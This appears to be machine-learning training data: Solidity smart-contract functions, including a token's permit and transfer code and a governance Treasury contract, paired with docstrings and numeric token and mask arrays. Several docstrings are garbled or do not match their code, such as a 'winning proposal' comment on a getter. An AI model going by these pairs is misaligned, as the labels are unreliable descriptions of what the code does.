abi.encode(PERMIT_TYPEHASH, _owner, _spender, _amount, nonces[_owner]++, _deadline)
);
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, _v, _r, _s);
require(signatory != address(0) && signatory == _owner, "VSP::permit: invalid signature");
_approve(_owner, _spender, _amount);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
_moveDelegates(delegates[_msgSender()], delegates[recipient], amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
allowance(sender, _msgSender()).sub(
amount,
"VSP::transferFrom: transfer amount exceeds allowance"
)
);
_moveDelegates(delegates[sender], delegates[recipient], amount);
return true;
}
} | 14,984,378 | [
1,
18281,
11317,
17,
8394,
1158,
17,
5531,
17,
7996,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
776,
3118,
353,
776,
3118,
43,
1643,
82,
1359,
1345,
16,
14223,
11748,
288,
203,
565,
1731,
1578,
1071,
5381,
10950,
6068,
67,
2399,
15920,
273,
203,
3639,
417,
24410,
581,
5034,
12,
203,
5411,
315,
9123,
305,
12,
2867,
3410,
16,
2867,
17571,
264,
16,
11890,
5034,
460,
16,
11890,
5034,
7448,
16,
11890,
5034,
14096,
2225,
203,
3639,
11272,
203,
203,
565,
2254,
5034,
2713,
11732,
312,
474,
2531,
5027,
31,
203,
565,
2254,
5034,
2713,
5381,
28226,
67,
49,
3217,
67,
8283,
273,
2130,
11706,
380,
261,
2163,
636,
2643,
1769,
203,
203,
203,
565,
3885,
1435,
1071,
776,
3118,
43,
1643,
82,
1359,
1345,
2932,
58,
281,
457,
1345,
3113,
315,
58,
3118,
7923,
288,
203,
3639,
312,
474,
2531,
5027,
273,
1203,
18,
5508,
397,
261,
5718,
25,
4681,
1769,
203,
565,
289,
203,
203,
565,
445,
312,
474,
12,
2867,
389,
20367,
16,
2254,
5034,
389,
8949,
13,
3903,
1338,
5541,
288,
203,
3639,
2583,
12,
203,
5411,
261,
4963,
3088,
1283,
7675,
1289,
24899,
8949,
13,
1648,
28226,
67,
49,
3217,
67,
8283,
13,
747,
203,
7734,
261,
2629,
18,
5508,
405,
312,
474,
2531,
5027,
3631,
203,
5411,
315,
49,
474,
310,
486,
2935,
6,
203,
3639,
11272,
203,
3639,
389,
81,
474,
24899,
20367,
16,
389,
8949,
1769,
203,
3639,
389,
8501,
15608,
815,
12,
2867,
12,
20,
3631,
22310,
63,
67,
20367,
6487,
389,
8949,
1769,
203,
565,
289,
203,
203,
565,
445,
18305,
12,
11890,
5034,
389,
8949,
13,
3903,
288,
203,
2
]
|
./full_match/4/0x93aC6F71FD761770581060996224B9DefaaFCAb8/sources/contracts/1_QChainShiftSaving.sol | @dev Computes the winning proposal taking all previous votes into account. | function getShift(
address userAddress
) public view
returns (Shift[] memory _currentShifts)
{
return shiftsAddresses[userAddress];
}
| 799,549 | [
1,
10743,
326,
5657,
2093,
14708,
13763,
777,
2416,
19588,
1368,
2236,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
7932,
2136,
12,
203,
3639,
1758,
729,
1887,
203,
565,
262,
1071,
1476,
203,
5411,
1135,
261,
10544,
8526,
3778,
389,
2972,
10544,
87,
13,
203,
565,
288,
203,
3639,
327,
27552,
7148,
63,
1355,
1887,
15533,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0x1777fE4a1D003E76F2BcbF176Cc6Be4D336719D5/sources/XMoon.sol | * devp account Returns the amountaccount of tokens amount owned by `account`./ | function setStartTrader(uint256 startTrader_) public onlyOwner {
startTrader = startTrader_;
}
| 4,133,715 | [
1,
5206,
84,
2236,
2860,
326,
3844,
4631,
434,
2430,
3844,
16199,
635,
1375,
4631,
8338,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
18171,
1609,
765,
12,
11890,
5034,
787,
1609,
765,
67,
13,
1071,
1338,
5541,
288,
203,
3639,
787,
1609,
765,
273,
787,
1609,
765,
67,
31,
203,
565,
289,
203,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity 0.6.12;
import "./ITreasury.sol";
contract Treasury is ITreasury {
/** @dev Constants */
// Minimum value required to be transfered when creating any proposal
uint256 public proposalMinDeposit = 100 ether;
// Percentage (out of 100) of the funds that correspond to gitcoin
uint256 public gitcoinRewardPerc = 10;
// Time between proposal creation and it's completion
uint256 public proposalDebatingPeriod = 30 days;
// Time between last lock funds and the availability for usage of any funds locked by the participant
uint256 public lockedWaitingTime = 1 days;
// Percentage (out of 100) of the stake on voting that have to be in favour of a proposal for it to be accepted
uint256 public proposalMajorityPerc = 60;
// Time before the proposalDebatingPeriod ending, for when the proposal has to be pre-approved
uint256 public proposalPreSupportPeriod = 2 days;
// Time since shutdown is scheduled till it can be executed
uint256 public shutdownGracePeriod = 7 days;
// FIXME (issue #6):
// min quorum was set to 30% of the total supply at the moment of development of this
// contract but the value should be dinamically calculated (at least based on an estimation
// of it)
// Amount of ETC required to have participated on the voting for this proposal to be applicable
function proposalMinQuourum() virtual public pure returns(uint256) { return 35000000 ether; }
enum ProposalType { AddClient, RemoveClient, RemoveGitcoin, UpdateMemberAddress, Shutdown }
struct Proposal {
// EFFECT INFO
ProposalType proposalType;
// Meaning depends on proposalType:
// - AddClient: client to be added if proposal successful
// - RemoveClient: client to be removed if proposal successful
// - UpdateMemberAddress: old client address if proposal successful
// - RemoveGitcoin or Shutdown: this value is not used
address votedAddress1;
// Meaning depends on proposalType:
// - UpdateMemberAddress: new client address if proposal successful
// - AddClient, RemoveClient, RemoveGitcoin or Shutdown: this value is not used
address votedAddress2;
// CREATOR INFO
address creator;
uint256 deposit;
// TIME INFO
uint256 proposedAtTime;
// VOTING INFO
// stake in favour of proposal
uint256 votesForYes;
// stake against proposal
uint256 votesForNo;
// mapping to get the stake voted in favour by a participant
mapping (address => uint256) votedYes;
// mapping to get the stake voted against by a participant
mapping (address => uint256) votedNo;
// STATE INFO
// True if the proposal has not been yet executed nor close
bool active;
// true if more tokens are in favour of the proposal than opposed to it at
// least `proposalPreSupportPeriod` before the voting deadline
bool preSupport;
}
struct LockedFunds {
// amount locked by user
uint256 amount;
// last time the user locked funds
uint256 lastLockedTime;
}
struct Member {
// amount locked by user
address recipient;
// Name that identifies this client
string name;
}
/** @dev Members */
bool gitcoinEnabled = true;
Member gitcoinMember;
Member[] clients;
/** @dev Funds distribution */
// Map of member addresses (including already removed ones) to pending amount to withdraw
mapping (address => uint256) pendingWithdraws;
/// @dev Total members available funds
uint256 totalMembersFunds = 0;
/** @dev Proposal tracking */
uint256 sumOfProposalDeposits = 0;
// FIXME: should we prune executed/closed proposals?
Proposal[] proposals;
/** @dev Stake locking */
// Map of participant addresses to:
// - amount locked
// - last time funds were unlocked, affects when they can be used
mapping (address => LockedFunds) lockedFunds;
uint256 totalLockedFunds = 0;
// Map of address to the proposal id blocking their funds
// During a vote the funds from a participant are blocked, that is, their funds can't be widthdrawl
mapping (address => uint256) blocked;
uint256 shutdownScheduledAt = 0;
// FIXME (issue #4): should we pass the names as well?
constructor (address _gitcoinAddress, address[] memory _clients) public {
gitcoinMember = Member(_gitcoinAddress, "Gitcoin");
for (uint i = 0; i < _clients.length; i++) {
clients.push(Member(_clients[i], ""));
}
}
// ---------------------
// WITHDRAWAL
// ---------------------
receive() external override payable { }
/// @dev assumes the client member list will be short enough to be iterable
function distributeFunds() public override {
// contract balance is compose by locks, deposits and rewards
uint256 fundsToDistribute =
address(this).balance - totalLockedFunds - sumOfProposalDeposits - totalMembersFunds;
uint256 fundsForGitcoin = 0;
// Distribute gitcoin's funds
if(gitcoinEnabled) {
fundsForGitcoin = fundsToDistribute * gitcoinRewardPerc / 100;
pendingWithdraws[gitcoinMember.recipient] += fundsForGitcoin;
totalMembersFunds += fundsForGitcoin;
}
// Distribute client's funds
// There might be some dust left that will be used for the next distribution, as it
// will be at most clients.length (assumed to not be too large)
if(clients.length > 0) {
uint256 fundsForEachClient = (fundsToDistribute - fundsForGitcoin) / clients.length;
for (uint clientIndex = 0; clientIndex < clients.length; clientIndex++) {
pendingWithdraws[clients[clientIndex].recipient] += fundsForEachClient;
totalMembersFunds += fundsForEachClient;
}
} else {
// FIXME (issue #5): save the funds for future clients and update totalMembersFunds
}
}
/// @dev Reverts if transfer fails
function withdrawFunds() public override returns(bool) {
uint256 pendingWithdraw = pendingWithdraws[msg.sender];
if(pendingWithdraw == 0) {
return false;
} else {
delete pendingWithdraws[msg.sender];
totalMembersFunds -= pendingWithdraw;
bool transferSuccessful = transferTo(msg.sender, pendingWithdraw);
require(transferSuccessful, "Transfering pending withdraw failed");
return transferSuccessful;
}
}
// ---------------------
// LOCKING/UNLOCKING
// ---------------------
/// @dev If the user had locked any funds previously, the will all remain unusable till pas
function lockFunds() public override payable noShutdownScheduled returns(bool) {
uint256 previousLockedAmount = lockedFunds[msg.sender].amount;
lockedFunds[msg.sender] = LockedFunds (
previousLockedAmount + msg.value,
// all funds from users will be unusable until lockingWaitingTime has passed
now
);
totalLockedFunds += msg.value;
return true;
}
/// @dev transfers the amount to the sender, if available
/// reverts if not enought funds
/// reverts if funds are blocked in a proposal
function unlockFunds(uint256 amount) public override notBlocked {
LockedFunds memory senderlockedFunds = lockedFunds[msg.sender];
require(senderlockedFunds.amount >= amount, 'Not enough funds');
// Safe substraction as it was checked before
uint256 newLockedAmount = senderlockedFunds.amount - amount;
if (newLockedAmount == 0) {
delete lockedFunds[msg.sender];
} else {
lockedFunds[msg.sender] = LockedFunds(
newLockedAmount,
senderlockedFunds.lastLockedTime
);
}
totalLockedFunds -= amount;
// Transfer the locked amount back to the user
bool transferSuccessful = transferTo(msg.sender, amount);
require(transferSuccessful, "Transfering locked funds back to participant failed");
}
// ---------------------
// PROPOSAL CREATION
// ---------------------
function proposeAddClient(address clientToAdd) payable public override noShutdownScheduled {
uint256 proposalID = createProposalCommon(ProposalType.AddClient);
// Effect info
Proposal storage proposal = proposals[proposalID];
proposal.votedAddress1 = clientToAdd;
emit AddClientProposal(proposalID, msg.sender, clientToAdd);
}
function proposeRemoveClient(address clientToRemove) payable public override noShutdownScheduled {
uint256 proposalID = createProposalCommon(ProposalType.RemoveClient);
// Effect info
Proposal storage proposal = proposals[proposalID];
proposal.votedAddress1 = clientToRemove;
emit RemoveClientProposal(proposalID, msg.sender, clientToRemove);
}
function proposeRemoveGitcoin() payable public override noShutdownScheduled {
uint256 proposalID = createProposalCommon(ProposalType.RemoveGitcoin);
emit RemoveGitcoinProposal(proposalID, msg.sender);
}
function proposeUpdateMemberAddress(address memberToUpdate, address newMemberAddress) payable public override noShutdownScheduled {
uint256 proposalID = createProposalCommon(ProposalType.UpdateMemberAddress);
// Effect info
Proposal storage proposal = proposals[proposalID];
proposal.votedAddress1 = memberToUpdate;
proposal.votedAddress2 = newMemberAddress;
emit UpdateMemberAddressProposal(proposalID, msg.sender, memberToUpdate, newMemberAddress);
}
function proposeShutdown() payable public override noShutdownScheduled {
uint256 proposalID = createProposalCommon(ProposalType.Shutdown);
emit ShutdownProposal(proposalID, msg.sender);
}
// ---------------------
// PROPOSAL VOTING
// ---------------------
function vote(uint256 _proposalID, bool _supportsProposal) public override noShutdownScheduled {
Proposal storage proposal = proposals[_proposalID]; // invalid opcode in case of inexistant proposal
require(now < proposal.proposedAtTime + proposalDebatingPeriod, "Debating period ended");
LockedFunds storage voterLockedFunds = lockedFunds[msg.sender];
require(voterLockedFunds.lastLockedTime + lockedWaitingTime <= now, "No unlocked funds available for usage");
unRegisterVotesFor(proposal, msg.sender);
// Vote for proposal changes
if (_supportsProposal) {
proposal.votesForYes += voterLockedFunds.amount;
proposal.votedYes[msg.sender] = voterLockedFunds.amount;
} else {
proposal.votesForNo += voterLockedFunds.amount;
proposal.votedNo[msg.sender] = voterLockedFunds.amount;
}
// Will block voter funds in this proposal if corresponds
evalBlockingProposal(_proposalID, proposal.proposedAtTime);
}
function unvote(uint _proposalID) public override noShutdownScheduled {
Proposal storage proposal = proposals[_proposalID]; // invalid opcode in case of inexistant proposal
require(now < proposal.proposedAtTime + proposalDebatingPeriod, "Debating period ended");
unRegisterVotesFor(proposal, msg.sender);
}
// ---------------------
// PROPOSAL EXECUTION
// ---------------------
function preApprove(uint _proposalID) public override noShutdownScheduled {
Proposal storage proposal = proposals[_proposalID]; // invalid opcode in case of inexistant proposal
uint256 totalStakeVoted = proposal.votesForYes + proposal.votesForNo;
require(!proposal.preSupport, "Already pre-approved");
require(now <= proposal.proposedAtTime + proposalDebatingPeriod - proposalPreSupportPeriod, "Pre-approve deadline already reached");
require(totalStakeVoted >= proposalMinQuourum(), "Not enough quorum for pre-approval");
require(totalStakeVoted * proposalMajorityPerc / 100 <= proposal.votesForYes, "Not enough votes for yes");
proposal.preSupport = true;
}
function execProposal(uint256 _proposalID, uint256 clientIndex) public override noShutdownScheduled {
Proposal storage proposal = proposals[_proposalID]; // invalid opcode in case of inexistant proposal
endProposal(_proposalID);
(bool canBeExecuted, string memory errorMsg) = canBeExecuted(_proposalID);
require(canBeExecuted, errorMsg);
// Before introducing any change to the state, make sure all funds belongs to current memebers
distributeFunds();
if (proposal.proposalType == ProposalType.AddClient) {
addClient(proposal.votedAddress1);
} else if (proposal.proposalType == ProposalType.RemoveClient) {
removeClient(proposal.votedAddress1, clientIndex);
} else if (proposal.proposalType == ProposalType.RemoveGitcoin) {
removeGitcoin();
} else if (proposal.proposalType == ProposalType.UpdateMemberAddress) {
updateMemberAddress(proposal.votedAddress1, proposal.votedAddress2, clientIndex);
} else if (proposal.proposalType == ProposalType.Shutdown) {
scheduleShutdown();
}
}
function closeProposal(uint256 _proposalID) public override noShutdownScheduled {
endProposal(_proposalID);
(bool canBeExecuted, ) = canBeExecuted(_proposalID);
require(!canBeExecuted, "Proposal can be executed");
emit ClosedProposal(_proposalID);
}
function recoverProposalDeposit(uint _proposalID) public override {
Proposal storage proposal = proposals[_proposalID]; // invalid opcode in case of inexistant proposal
bool canRecoverDeposit = !proposal.active || withShutdownInProgress();
require(canRecoverDeposit, "Proposal should had finished or shutdown scheduled");
uint256 depositToReturn = proposal.deposit;
require(depositToReturn != 0, "Proposal deposit already recovered");
sumOfProposalDeposits -= depositToReturn;
// empty the proposal deposit
proposal.deposit = 0;
bool returnDepositSuccessful = transferTo(proposal.creator, depositToReturn);
require(returnDepositSuccessful, "Returning the deposit was not successful");
}
// ---------------------
// SHUTDOWN
// ---------------------
function shutdown() public override {
require(withShutdownInProgress(), "No shutdown in progress");
require(shutdownScheduledAt + shutdownGracePeriod < now, "Shutdown grace period not yet over");
// All funds from the contract are burned
selfdestruct(address(0));
}
// ---------------------
// QUERYING
// ---------------------
function getAvailableWithdrawBalance(address memberAddress) public override view returns(uint256) {
return pendingWithdraws[memberAddress];
}
function getLockedAmount(address participant) public override view returns(uint256) {
return lockedFunds[participant].amount;
}
function canUnlockFunds() public override view returns(bool) {
if (withShutdownInProgress()) {
return true;
}
uint256 blockingProposalID = blocked[msg.sender];
if(proposals.length > blockingProposalID) {
uint256 proposalDebateEndTime = proposals[blockingProposalID].proposedAtTime + proposalDebatingPeriod;
return (now > proposalDebateEndTime);
}
return true;
}
function getClientMembersSize() public override view returns(uint256) {
return clients.length;
}
function getClientMemberAt(uint256 index) public override view returns(address recipient, string memory name) {
Member storage client = clients[index];
(recipient, name) = (client.recipient, client.name);
}
function getGitcoinAddress() public override view returns(address) {
require(gitcoinEnabled, "Gitcoin was disabled");
return gitcoinMember.recipient;
}
function getProposalState(uint256 _proposalID) public override view returns(bool active, bool preSupport, uint256 proposedAtTime, uint256 endsAtTime, uint256 approvalVotes, uint256 declineVotes) {
Proposal storage proposal = proposals[_proposalID];
active = proposal.active;
preSupport = proposal.preSupport;
proposedAtTime = proposal.proposedAtTime;
endsAtTime = proposal.proposedAtTime + proposalDebatingPeriod;
approvalVotes = proposal.votesForYes;
declineVotes = proposal.votesForNo;
}
function withShutdownInProgress() public override view returns(bool) {
return shutdownScheduledAt != 0;
}
// ---------------------
// INTERNAL
// ---------------------
function transferTo(address to, uint256 amount) internal returns(bool) {
(bool transferSuccessful, ) = to.call.value(amount)("");
return transferSuccessful;
}
function unRegisterVotesFor(Proposal storage proposal, address voter) internal {
proposal.votesForYes -= proposal.votedYes[voter];
delete proposal.votedYes[voter];
proposal.votesForNo -= proposal.votedNo[voter];
delete proposal.votedNo[voter];
}
/// @dev Shared procedure to create any proposal of _proposalType.
/// The proposal is included in the proposals collection
/// @param _proposalType Proposal type to be create
/// @return proposalID of the created Proposal
function createProposalCommon(ProposalType _proposalType) internal withMinimumDeposit returns(uint256 proposalID) {
Proposal memory proposal;
proposalID = proposals.length;
// Proposal Type
proposal.proposalType = _proposalType;
// Creator info
proposal.creator = msg.sender;
proposal.deposit = msg.value;
// deposit are counted as yes votes
proposal.votesForYes = msg.value;
// Time info
proposal.proposedAtTime = now;
// The proposal starts as active and can receive votes
proposal.active = true;
proposals.push(proposal);
sumOfProposalDeposits += proposal.deposit;
}
function endProposal(uint256 _proposalID) internal {
Proposal storage proposal = proposals[_proposalID]; // invalid opcode in case of inexistant proposal
require(proposal.proposedAtTime + proposalDebatingPeriod <= now, "Debating period in progress");
require(proposal.active, "Ending a non active proposal");
// The proposal is now ended
proposal.active = false;
}
function addClient(address clientToAdd) internal {
// FIXME (issue #4): add name to the proposal or allow name owner editing
clients.push(Member(clientToAdd, ""));
emit ClientAdded(clientToAdd);
}
function removeClient(address clientToRemove, uint256 clientIndex) internal {
Member storage clientMember = clients[clientIndex];
require(clientMember.recipient == clientToRemove, 'Member not in index');
// Remove the address
if (clients.length > 0) {
clients[clientIndex] = clients[clients.length - 1];
clients.pop();
}
emit ClientRemoved(clientToRemove);
}
function removeGitcoin() internal {
gitcoinEnabled = false;
emit GitcoinRemoved();
}
function updateMemberAddress(address oldAddress, address newAddress, uint256 clientIndex) internal {
// Update tracked members addresses
if (oldAddress == gitcoinMember.recipient) {
gitcoinMember.recipient = newAddress;
} else {
Member storage clientMember = clients[clientIndex];
require(clientMember.recipient == oldAddress, 'Member not in index');
clients[clientIndex].recipient = newAddress;
}
// Update the pending withdraws
pendingWithdraws[newAddress] = pendingWithdraws[oldAddress];
delete pendingWithdraws[oldAddress];
emit MemberAddressUpdated(oldAddress, newAddress);
}
function scheduleShutdown() internal {
// Set the treasury on schedule shutdown state
shutdownScheduledAt = now;
emit ShutdownScheduled();
}
/// @dev Evaluates it the new Proposal should block user funds, if so, updates blocked
function evalBlockingProposal(uint256 proposalID, uint256 proposedAtTime) internal {
uint256 currentBlockingPorposalID = blocked[msg.sender];
Proposal storage currentBlockingPorposal = proposals[currentBlockingPorposalID];
// As debating periods are equal, we can compare by proposal creation time
if(proposedAtTime > currentBlockingPorposal.proposedAtTime)
blocked[msg.sender] = proposalID;
}
function canBeExecuted(uint256 _proposalID) internal view returns(bool, string memory) {
Proposal storage proposal = proposals[_proposalID];
uint256 totalStakeVoted = proposal.votesForYes + proposal.votesForNo;
bool hasQuorum = totalStakeVoted >= proposalMinQuourum();
bool hasMajorityInFavour = totalStakeVoted * proposalMajorityPerc / 100 <= proposal.votesForYes;
bool hasPreSupport = proposal.preSupport;
if(!hasQuorum)
return (false, "Not enough quorum for execution");
else if (!hasMajorityInFavour)
return (false, "Not enough votes for yes");
else if (!hasPreSupport)
return (false, "Proposal should be pre-approved");
else
return (true, "");
}
modifier withMinimumDeposit() {
require(msg.value >= proposalMinDeposit, "Deposit is lower than the minimum");
_;
}
/// @dev requires that the sender has no blocked funds
modifier notBlocked() {
require(canUnlockFunds(), "Funds are blocked");
_;
}
modifier noShutdownScheduled() {
require(!withShutdownInProgress(), "Shutdown in progress");
_;
}
}
| @dev Evaluates it the new Proposal should block user funds, if so, updates blocked As debating periods are equal, we can compare by proposal creation time | function evalBlockingProposal(uint256 proposalID, uint256 proposedAtTime) internal {
uint256 currentBlockingPorposalID = blocked[msg.sender];
Proposal storage currentBlockingPorposal = proposals[currentBlockingPorposalID];
if(proposedAtTime > currentBlockingPorposal.proposedAtTime)
blocked[msg.sender] = proposalID;
}
| 12,997,029 | [
1,
23533,
518,
326,
394,
19945,
1410,
1203,
729,
284,
19156,
16,
309,
1427,
16,
4533,
14547,
2970,
18202,
1776,
12777,
854,
3959,
16,
732,
848,
3400,
635,
14708,
6710,
813,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
